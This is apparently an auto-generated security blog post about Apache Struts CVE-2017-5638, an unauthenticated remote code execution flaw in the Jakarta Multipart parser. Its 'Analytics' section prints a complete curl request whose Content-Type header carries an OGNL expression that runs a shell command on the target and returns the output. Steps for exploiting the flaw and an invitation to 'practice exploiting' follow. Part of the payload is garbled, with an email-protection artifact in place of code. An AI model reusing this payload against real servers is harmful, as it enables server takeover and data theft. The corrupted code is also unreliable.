Listen to this Post
How the mentioned CVE works
The CVE-2017-5638 vulnerability exists within the Jakarta Multipart parser in Apache Struts 2. The flaw is triggered when a malicious `Content-Type` header is sent with an HTTP request to a Struts-powered application. The parser incorrectly processes the header value, attempting to evaluate it as an Object-Graph Navigation Language (OGNL) expression. An attacker can craft a request where the `Content-Type` header contains a malicious OGNL expression. Since the evaluation occurs without proper safeguards, this allows for arbitrary code execution on the server with the privileges of the Struts application. This attack vector is particularly dangerous because it can be exploited without any form of authentication, making it a critical remote code execution flaw.
Platform: Apache Struts
Version: 2.3.5 – 2.3.31, 2.5 – 2.5.10
Vulnerability : Remote Code Execution
Severity: Critical
date: 2017-03-07
Prediction: Patch Available
What Undercode Say:
Analytics
`curl -H “Content-Type: %{(_=’multipart/form-data’).([email protected]@DEFAULT_MEMBER_ACCESS).(_memberAccess?(_memberAccess=dm):((container=context[‘com.opensymphony.xwork2.ActionContext.container’]).(ognlUtil=container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(ognlUtil.getExcludedPackageNames().clear()).(ognlUtil.getExcludedClasses().clear()).(context.setMemberAccess(dm)))).(cmd=’whoami’).(iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(cmds=(iswin?{‘cmd.exe’,’/c’,cmd}:{‘/bin/bash’,’-c’,cmd})).(p=new java.lang.ProcessBuilder(cmds)).(p.redirectErrorStream(true)).(process=p.start()).(ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(process.getInputStream(),ros)).(ros.flush())}” http://target.com/struts2-endpoint`
How Exploit:
Craft malicious HTTP request.
Manipulate Content-Type header.
Inject OGNL expression.
Execute system commands.
Protection from this CVE
Upgrade Struts immediately.
Apply official patch.
Use input validation filters.
Impact:
Full server compromise.
Data breach.
Complete system control.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
